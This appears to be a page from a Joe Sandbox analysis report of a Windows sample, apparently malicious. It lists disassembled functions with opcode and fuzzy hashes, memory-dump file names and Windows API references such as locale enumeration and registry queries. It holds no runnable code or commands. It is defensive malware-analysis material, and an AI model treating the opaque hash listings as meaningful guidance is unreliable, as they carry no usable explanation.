Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID: %$+
API String ID: 0-2626897407
Opcode ID: b139f54fdb174c16b0d9ee97642ed0367e32f09786b5533f810ac77f8f609266
Instruction ID: cf1c25a868d070671f461ebee7575b6cb7dd230d4857409e47d2b2cc443a20b3
Opcode Fuzzy Hash: b139f54fdb174c16b0d9ee97642ed0367e32f09786b5533f810ac77f8f609266
Instruction Fuzzy Hash: 66F1F531D00619AFCB19DF64DC45AAFBBB5FF89304F04422AF815BB291E7389911CB96

Function 00405EA0 Relevance: 2.9, Strings: 2, Instructions: 434COMMON

Download Yara Rule

Strings

+, xrefs: 004062E0
%, xrefs: 004062D1

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID: %$+
API String ID: 0-2626897407
Opcode ID: a22ac77ac90e4755d0f2b48978f7e3a306c5e377ab261116fc5b9d3f43c4d4a4
Instruction ID: 9d6138d142dddab090cdc3649cc755c40ddba61fe736d5c036bdb9e93c5cbbfd
Opcode Fuzzy Hash: a22ac77ac90e4755d0f2b48978f7e3a306c5e377ab261116fc5b9d3f43c4d4a4
Instruction Fuzzy Hash: E2F1D031D00519AFDB19DF68DC45AAFBBB5FF89300F05422AF816BB281E7389911CB95

Function 0041C2F0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

gfff, xrefs: 0041C8D5

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: d3b287558754415f8700303492366deb2c23c9ca8fa2caa1a8166616f24e3af7
Instruction ID: 2277d9d75ac057fc04f9b22a64fc8d9dfe69f0ba7242289b2b5d268caa238862
Opcode Fuzzy Hash: d3b287558754415f8700303492366deb2c23c9ca8fa2caa1a8166616f24e3af7
Instruction Fuzzy Hash: A1225F75F4411A9BCF18CFA9DCD16EEB7F2AB88304F24812ED415E7340E77999828B94

Function 0041AD20 Relevance: 1.8, Strings: 1, Instructions: 545COMMON

Download Yara Rule

Strings

gfff, xrefs: 0041B3B2

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: cea192672d9492fb93106ae53edf594386468d339c60d457aa10dcfe0d3d94b5
Instruction ID: 514bdc54cab8b3caeb0dfa1ed2562921fa7189f603a4ee807b9e31f955885fe0
Opcode Fuzzy Hash: cea192672d9492fb93106ae53edf594386468d339c60d457aa10dcfe0d3d94b5
Instruction Fuzzy Hash: 12121635A017068BDB188E6DD9853EDB7A2EF44310F15853BD816D77A0E33DC9E1878A

Function 005B44CA Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000000), ref: 005B46F7

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: a3601930be179ccb056739216e0657bbe6e68a7c774d25186605be316b8b25e3
Instruction ID: 52e87bc91d243e53052accddaac2525ca24a59f9e7dc30aee1f5f388f8ef6f0e
Opcode Fuzzy Hash: a3601930be179ccb056739216e0657bbe6e68a7c774d25186605be316b8b25e3
Instruction Fuzzy Hash: 06B13B31610609DFDB25CF28C486AA57FE0FF46365F258658E899CF2A2C735E992CF40

Function 005BBCE0 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 005B2AD9: GetLastError.KERNEL32(00000010,00000000,005BAEA1,00684008,0000000C,005B2EFC,0000000C,?,005A817D,00000000,0000000C,?,00000000,00000000,00000000), ref: 005B2ADD
Part of subcall function 005B2AD9: SetLastError.KERNEL32(00000000,00000000,00000000,00428E4F,00000000,?,00428E4F,?,?,?,005AF17A,?,?), ref: 005B2B7F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005BBD34

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 4acd7d480e66e8ef6e73bea91002bb8af174343b1363ca99f6f402ab980aa07f
Instruction ID: 664926d940cca8517925f3a025a0d3c328b74cff51786bf75c271a65b9761572
Opcode Fuzzy Hash: 4acd7d480e66e8ef6e73bea91002bb8af174343b1363ca99f6f402ab980aa07f
Instruction Fuzzy Hash: 7A216D72615207AFEB289F65DC46BFA7BA8FB84314B14006AF906D6141EBA8AD40DA50

Function 005BB952 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005B2AD9: GetLastError.KERNEL32(00000010,00000000,005BAEA1,00684008,0000000C,005B2EFC,0000000C,?,005A817D,00000000,0000000C,?,00000000,00000000,00000000), ref: 005B2ADD
Part of subcall function 005B2AD9: SetLastError.KERNEL32(00000000,00000000,00000000,00428E4F,00000000,?,00428E4F,?,?,?,005AF17A,?,?), ref: 005B2B7F

EnumSystemLocalesW.KERNEL32(005BBA80,00000001,00000000,?,-00000050,?,005BC0BE,00000000,?,?,?,00000055,?), ref: 005BB9C4

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d64219974b0f7935aea98ac72bf463d3381469174392e16ee28fe321fbd8a4e7
Instruction ID: 5c9da089d1f264ae17e33f9f04ccb64e007612d7790dbc8f915f1115f2b9dfba
Opcode Fuzzy Hash: d64219974b0f7935aea98ac72bf463d3381469174392e16ee28fe321fbd8a4e7
Instruction Fuzzy Hash: 421129366003059FEB189F39C8915BABBA1FF84358B14442CEA4787A40D3F1B842D740

Function 004569E0 Relevance: 1.6, APIs: 1, Instructions: 59nativeCOMMON

Download Yara Rule

APIs

NtQueryKey.NTDLL ref: 00456A57

Part of subcall function 004555C0: ___std_exception_copy.LIBVCRUNTIME ref: 004556FF

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Query___std_exception_copy
String ID:
API String ID: 1786425047-0
Opcode ID: b47bdeef51351cf091c6094cfeb0941b943d769bb86aa6965b06fe8d31ae105e
Instruction ID: 45e26ce9c90e8d8fc1762ce46b8384f0abc6cbe0ae41496db926f09af0002651
Opcode Fuzzy Hash: b47bdeef51351cf091c6094cfeb0941b943d769bb86aa6965b06fe8d31ae105e
Instruction Fuzzy Hash: FA1175705047056FE310DF19D849B6BBBE8EFC4318F004A1DF49897291EBB4A658CBD6

Function 005BBF0F Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 005B2AD9: GetLastError.KERNEL32(00000010,00000000,005BAEA1,00684008,0000000C,005B2EFC,0000000C,?,005A817D,00000000,0000000C,?,00000000,00000000,00000000), ref: 005B2ADD
Part of subcall function 005B2AD9: SetLastError.KERNEL32(00000000,00000000,00000000,00428E4F,00000000,?,00428E4F,?,?,?,005AF17A,?,?), ref: 005B2B7F

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,005BBD8A,00000000,00000000,?), ref: 005BBF3B

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: cd3f651ca2000a75efe88066abc657ea8da420c1188e14a78f6af1314495843f
Instruction ID: 01f532e56db08bb468a9881039618501bd3fce7309625b7bdda2557137374280
Opcode Fuzzy Hash: cd3f651ca2000a75efe88066abc657ea8da420c1188e14a78f6af1314495843f
Instruction Fuzzy Hash: E9F0F932910112FBEB285A668C456FA7F68FB40354F044464EC16A3140EBF4FE41CA90

Function 005BB860 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 005B2AD9: GetLastError.KERNEL32(00000010,00000000,005BAEA1,00684008,0000000C,005B2EFC,0000000C,?,005A817D,00000000,0000000C,?,00000000,00000000,00000000), ref: 005B2ADD
Part of subcall function 005B2AD9: SetLastError.KERNEL32(00000000,00000000,00000000,00428E4F,00000000,?,00428E4F,?,?,?,005AF17A,?,?), ref: 005B2B7F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 005BB8B4

Strings

utf8, xrefs: 005BB81D

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: 08a819c416d8f997c7366565de85cda70d598afe83ff15af8bd7df18d007b7c2
Instruction ID: 3fdc786c29a0c5081a9ee9f6cb636a319d1c675e86eb118b0a8d0038b9ec5bb2
Opcode Fuzzy Hash: 08a819c416d8f997c7366565de85cda70d598afe83ff15af8bd7df18d007b7c2
Instruction Fuzzy Hash: 4EF0A432601106ABD724AF79DC4AAFA37ACEB89314F10017AF502D7281EAB8AD059760

Function 005BB9ED Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005B2AD9: GetLastError.KERNEL32(00000010,00000000,005BAEA1,00684008,0000000C,005B2EFC,0000000C,?,005A817D,00000000,0000000C,?,00000000,00000000,00000000), ref: 005B2ADD
Part of subcall function 005B2AD9: SetLastError.KERNEL32(00000000,00000000,00000000,00428E4F,00000000,?,00428E4F,?,?,?,005AF17A,?,?), ref: 005B2B7F

EnumSystemLocalesW.KERNEL32(005BBCE0,00000001,?,?,-00000050,?,005BC082,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 005BBA37

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 3e1ca1df38a9d747f20af49a211ac6d4f5eb31e2adc1b112faea5296254c0567
Instruction ID: c3906728308a427319d2e0a7413cb4504a01507fcff87597d0f0f0e315f10739
Opcode Fuzzy Hash: 3e1ca1df38a9d747f20af49a211ac6d4f5eb31e2adc1b112faea5296254c0567
Instruction Fuzzy Hash: 2CF0CD366003095FEB249F799886ABABF95FF80368F05442DF9468B690D7F1BC42D650

Function 005B4B7D Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005B1821: EnterCriticalSection.KERNEL32(?,?,005B257A,00000000,00683D88,0000000C,005B2541,B6184AA8,?,005B4B43,B6184AA8,?,005B2C77,00000001,00000364,?), ref: 005B1830

EnumSystemLocalesW.KERNEL32(005B4B70,00000001,00683E68,0000000C,005B4FC0,00000000), ref: 005B4BB5

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 9465d570e0b17112bf74588ace37f798eac1ccb0d169b90a6e52ceaae53fa2cc
Instruction ID: 82796fa13ecf532916bff9384c07d11059c8b42b9010f995252a23ffcf06cbcc
Opcode Fuzzy Hash: 9465d570e0b17112bf74588ace37f798eac1ccb0d169b90a6e52ceaae53fa2cc
Instruction Fuzzy Hash: 84F0AF36A40301DFDB00EF98E846B9D7BB1FB84720F10452AF514DB2A0CB745900CF50

Function 005BB907 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005B2AD9: GetLastError.KERNEL32(00000010,00000000,005BAEA1,00684008,0000000C,005B2EFC,0000000C,?,005A817D,00000000,0000000C,?,00000000,00000000,00000000), ref: 005B2ADD
Part of subcall function 005B2AD9: SetLastError.KERNEL32(00000000,00000000,00000000,00428E4F,00000000,?,00428E4F,?,?,?,005AF17A,?,?), ref: 005B2B7F

EnumSystemLocalesW.KERNEL32(005BB860,00000001,?,?,?,005BC0E0,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 005BB93E

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8694393ceab2a06cfbcb0c57d5e4c156f7521f507acacd47b18d001d4f0d3dc4
Instruction ID: c602eb7d578faf169bc522f88868fcfd534fb20cad3a050c2ebc2d1e027db4a6
Opcode Fuzzy Hash: 8694393ceab2a06cfbcb0c57d5e4c156f7521f507acacd47b18d001d4f0d3dc4
Instruction Fuzzy Hash: BFF0E53A30020A57DB149F76D8566AABF94FFC1B60F064059EA068B251C7F5A982E790

Function 005B50C4 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,005B0E9A,?,20001004,00000000,00000002,?,?,005B049C), ref: 005B50F8

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: aa4acf1df879fc03d1c45150187472b3f266c1ade67e98ca48e90da064cd1201
Instruction ID: ffa12cb93e68c18a44f99cd3d9601f219943ce496c01bf7584034d85365f6d4a
Opcode Fuzzy Hash: aa4acf1df879fc03d1c45150187472b3f266c1ade67e98ca48e90da064cd1201
Instruction Fuzzy Hash: 8CE01A36501A1DBBCB262F61EC08BEE7F1AFF84760F004410FD05A5161AB76A921AAD4

Function 045A3860 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(045A187F,045B10A0,00000008,045A1A55,?,00000001,?,045B10C0,0000000C,045A19F4,?,00000001,?), ref: 045A3860

Memory Dump Source

Source File: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Offset: 045A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45a0000_107.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 699df925ebc1b95c18302a5e28c9299662dc757e471a942d735f1e427419c625
Instruction ID: 41d4662d92b88db04ddca248a5f1ba8fe03bcc4fa999845ef07e94239b71161b
Opcode Fuzzy Hash: 699df925ebc1b95c18302a5e28c9299662dc757e471a942d735f1e427419c625
Instruction Fuzzy Hash: 11B012B070210387870D0B38745540976E4F708201301403D7403C1B40FF34CC64FE04

Function 00591340 Relevance: 1.1, Instructions: 1139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 264a60613d9efdbb8f0b1c28c9a0d855e6321390e0958b55547026e36e620e9a
Instruction ID: 0241a50999f9170ae2193c0dc687a553035f0a8efa91b470f362de0c61a11660
Opcode Fuzzy Hash: 264a60613d9efdbb8f0b1c28c9a0d855e6321390e0958b55547026e36e620e9a
Instruction Fuzzy Hash: BEA26B71D00259DFDF24DFA8C894BEDBBB5BF48304F188559E845AB381D734AA05CBA4

Function 00417340 Relevance: .6, Instructions: 561COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e24afc1842a333bdb151608d403b45b20acb020782c0d26587cd9f51319756c
Instruction ID: a1f7fb0fa401949653a378a72d840a01271f570d513467987c7624b2cb6dedaf
Opcode Fuzzy Hash: 0e24afc1842a333bdb151608d403b45b20acb020782c0d26587cd9f51319756c
Instruction Fuzzy Hash: C2128F32F0452A8BCF18CEADC8916EDFBF2AB88310F15816AD816E7790D7749D45CB94

Function 0041B830 Relevance: .4, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID:
API String ID:
